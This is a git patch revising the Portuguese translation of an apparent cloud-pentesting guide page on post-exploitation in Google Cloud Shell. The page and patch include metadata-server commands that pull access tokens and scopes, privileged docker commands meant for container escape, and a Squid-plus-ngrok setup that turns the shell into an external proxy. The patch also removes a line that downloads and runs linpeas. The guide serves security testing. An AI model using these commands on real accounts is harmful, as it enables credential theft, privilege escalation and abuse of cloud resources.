From a3b8d27c11d620b18b53c3cb102ea841315c3794 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Dec 2025 11:37:00 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation --- .../gcp-cloud-shell-post-exploitation.md | 72 ++++++++----------- 1 file changed, 30 insertions(+), 42 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index 21816b0fb..729b13626 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -4,46 +4,46 @@ ## Cloud Shell -Para mais informações sobre Cloud Shell, veja: +Para mais informações sobre Cloud Shell, consulte: {{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} -### Container Escape +### Obtém o token do usuário a partir do metadata -Observe que o Google Cloud Shell é executado dentro de um container; você pode **fácilmente escapar para o host** executando: +Bastando acessar o servidor de metadata você pode obter um token para acessar como o usuário atualmente logado: +```bash +wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" +``` +### Container Escape / Docker use + +> [!WARNING] +> Anteriormente o cloud shell era executado em um container com acesso ao socket do docker do host. Agora o Google mudou a arquitetura e o container do cloud shell executa uma configuração "Docker in a container". Portanto, mesmo que seja possível usar docker a partir do cloud shell, você não conseguirá escapar para o host usando o socket do docker. +> Observe que anteriormente o arquivo `docker.sock` estava localizado em `/google/host/var/run/docker.sock` mas agora ele foi movido para `/run/docker.sock`.
-Container escape commands +Docker use / Old container escape commands ```bash -sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock start escaper -sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh +sudo docker -H unix:///run/docker.sock pull alpine:latest +sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest +sudo docker -H unix:///run/docker.sock start escaper +sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```
-Isso não é considerado uma vulnerabilidade pelo google, mas fornece uma visão mais ampla do que está acontecendo nesse ambiente. - -Além disso, observe que no host você pode encontrar um service account token: +Além disso, no passado era possível encontrar um token para um service account usado pela cloud shell VM no metadata server:
-Obter service account a partir da metadata +Service account antigo do metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` -
- -Com os seguintes scopes: - -
- -Obter scopes da conta de serviço +Com os seguintes escopos: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" @@ -53,37 +53,25 @@ https://www.googleapis.com/auth/monitoring.write ```
-Enumere metadados com LinPEAS: + + +### Usar como Proxy + +Se você quiser usar sua instância do google cloud shell como proxy, precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc):
-Enumere metadados com LinPEAS -```bash -cd /tmp -wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -sh linpeas.sh -o cloud -``` -
- -Depois de usar [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) com o token do Service Account **nenhuma permissão foi encontrada**... - -### Usar como proxy - -Se você quiser usar sua google cloud shell instance como proxy, precisa executar os seguintes comandos (ou inseri-los no arquivo .bashrc): - -
- -Install Squid proxy +Instalar Squid proxy ```bash sudo apt install -y squid ```
-Apenas para avisar, o Squid é um servidor proxy HTTP. Crie um arquivo **squid.conf** com as seguintes configurações: +Só para você saber: Squid é um servidor proxy HTTP. Crie um arquivo **squid.conf** com as seguintes configurações:
-Criar arquivo squid.conf +Criar o arquivo squid.conf ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 @@ -106,13 +94,13 @@ Por fim, execute o serviço squid:
-Iniciar serviço squid +Iniciar o serviço Squid ```bash sudo service squid start ```
-Use o ngrok para tornar o proxy acessível externamente: +Use o ngrok para tornar o proxy disponível externamente:
@@ -122,7 +110,7 @@ Use o ngrok para tornar o proxy acessível externamente: ```
-Após executar, copie a URL tcp://. Se você quiser executar o proxy a partir de um navegador, recomenda-se remover a parte tcp:// e a porta e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy HTTP). +Após executar, copie a URL tcp://. Se quiser executar o proxy a partir de um navegador, sugere-se remover a parte tcp:// e a porta, e colocar a porta no campo de porta das configurações de proxy do seu navegador (squid é um servidor proxy http). Para melhor uso na inicialização, o arquivo .bashrc deve conter as seguintes linhas: